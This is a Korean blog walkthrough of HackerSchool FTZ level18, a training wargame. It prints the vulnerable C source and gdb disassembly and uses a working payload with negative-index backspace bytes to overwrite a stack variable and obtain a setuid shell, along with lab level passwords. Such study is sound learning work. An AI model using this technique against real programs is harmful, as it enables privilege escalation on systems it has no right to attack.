[ftz] hackerschool level18 풀이

l hackerschool level18 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

login as: level18
level18@192.168.31.128's password:

 

 

 

level18 문제의 아이디인  level18 와 password인   why did you do it 을 입력하여 level18의 유저로 접속합니다.

 

 

 

[level18@ftz level18]$ ls -l
total 20
-rwsr-x---    1 level19  level18      6225 Jan 25  1999 attackme
-rw-r-----    1 root     level18      1272 Jan 25  1999 hint
drwxr-xr-x    2 root     level18      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level18      4096 Jan  8  2009 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level18 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level18@ftz level18]$ cat hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h> 
void shellout(void);
int main()
{
  char string[100]; # 크기가 100인 string 문자열 변수 선언
  int check; # int형의 check 변수 선언
  int x = 0; # x 변수 선언과 동시에 0으로 초기화
  int count = 0; # count 변수 선언과 동시에 0으로 초기화
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout); # 출력 버퍼 비움
  while(1)
    {
      if(count >= 100) # count가 100보다 크거나 같으면 아래의 문장 실행
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef) # check가 0xdeadbeef면 shellout 함수 실행
        shellout();
      else # check가 0xdeadbeef가 아니면 아래의 문장들 실행
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a"); # x가 \r , \n일 경우 경고음 실행
                        break;
                      case 0x08: # x가 0x08일 경우 count를 1 빼주고 백스페이스 실행
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;  # 위의 조건이 다 아닐경우 string[count]에 x 대입 후 count 1증가
                        count++;
                        break;
                    }
                }
            }
        }
    }
}

void shellout(void) # 셸 취득을 위한 shellout 함수
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다. 앞 레벨들과는 달리 긴 코드가 나왔습니다. 결과적으로 봤을 때 셸을 취득하기 위해서는 shellout 명령어를 실행시켜야 하는데 그러려면 check의 값이 0xdeadbeef 이어야 합니다. 

 

 

처음 이 문제를 봤을 때 어떻게 풀어야할 지 감이 잡히지 않아서 다른 블로그를 참조했었습니다. 이 문제를 푸는 방법은 switch 문의 default를 보면 string의 인덱스로 count를 넣어주는데 string이 check의 위치까지 갈 수 있도록 count를 조절해주는 것입니다. 코드 상에서 string은 check보다 먼저 선언되었기 때문에 스택 위치상 string 변수가 check보다 더 높은 주소에 있게 됩니다. 따라서 count의 값을 음의 값으로 만들어주어 string 변수가 check 위치를 침범하게 해주어야 합니다.

 

 

이어서 문제를 풀어보도록 하겠습니다.

 

 

 

[level18@ftz level18]$ cp ./attackme ./tmp/level18
[level18@ftz level18]$ cd ./tmp
[level18@ftz tmp]$ ls -l
total 8
-rwxr-x---    1 level18  level18      6225 Nov 14 12:58 level18

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.

 

 

 

[level18@ftz tmp]$ gdb level18
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols fo
(gdb) disas main
Dump of assembler code for function main:
0x08048550 <main+0>:    push   %ebp
0x08048551 <main+1>:    mov    %esp,%ebp
...
0x080485ab <main+91>:   cmpl   $0xdeadbeef,0xffffff98(%ebp)
0x080485b2 <main+98>:   jne    0x80485c0 <main+112>
0x080485b4 <main+100>:  call   0x8048780 <shellout>
...
0x08048743 <main+499>:  lea    0xffffff9c(%ebp),%eax
...

 

 

 

level18 파일을 gdb로 분석해보도록 하겠습니다. 길이가 너무 긴 관계로 필요한 부분만 분석해보겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x080485ab <main+91>:   cmpl   $0xdeadbeef,0xffffff98(%ebp)  

위 코드는 check 변수의 값이 0xdeadbeef인지 비교하는 코드입니다. ebp - [0xffffff98] 한 값이 check의 위치라는 것을 알 수 있습니다.

 

10011000 => 01100111 => 01101000 = 8 + 32 + 64 = 104

위의 결과에 따라 check 변수는 ebp - 104에서 시작됩니다.

 

 

2. 0x08048743 <main+499>:  lea    0xffffff9c(%ebp),%eax

위 코드는 string 구문의 위치를 파악하기 위한 코드입니다. 사실 string 변수 위치의 경우 check 변수보다 먼저 스택에 들어가고, check 변수가 ebp - 104에서 시작하며 4byte이기 때문에 어셈블리 코드를 확인하지 않아도 ebp - 100에서 시작한다는 것을 알 수 있습니다. 하지만 정확한 확인을 위해 위치를 계산해보도록 하겠습니다.

 

10011100 => 01100011 => 01100100 = 4 + 32 + 64 = 100

0xffffff9c를 2의 보수 취할 경우 100이 나오고 위의 명령은 ebp - 100의 위치에서 string이 시작되는 것을 알 수 있습니다.

 

 

 

메모리 구조는 다음과 같습니다. (전체적인 메모리 구조가 아닙니다. 필요한 부분만 적었습니다.)

 

 

 

 

 

string과 check의 차이는 4byte 차이이고, string 변수가 check 변수 영역을 침범하기 위해서는 count가 4만큼 줄어들어야 합니다. 따라서 0x08을 네 번 넣고, 그 후 0xdeadbeef로 string을 채워주도록 하겠습니다. 페이로드는 다음과 같습니다.

 

 

 

 

| 페이로드

(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat) | ./attackme

 

 

 

 

[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat) | ./attackme
Enter your command: id
uid=3099(level19) gid=3098(level18) groups=3098(level18)

my-pass
Level19 Password is "swimming in pink".

 

 

 

페이로드 실행 후 id 입력 시 uid가 level19인 것을 확인할 수 있고, my-pass 명령을 사용하여 level19의 password를 알 수 있습니다.

 

 

 

l level19 비밀번호

더보기

Level19 Password is "swimming in pink".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level20 풀이  (0) 2020.01.09
[ftz] hackerschool level19 풀이  (0) 2020.01.05
[ftz] hackerschool level17 풀이  (0) 2020.01.03
[ftz] hackerschool level16 풀이  (0) 2020.01.02
[ftz] hackerschool level15 풀이  (0) 2020.01.02

이 글을 공유하기

댓글

Designed by JB FACTORY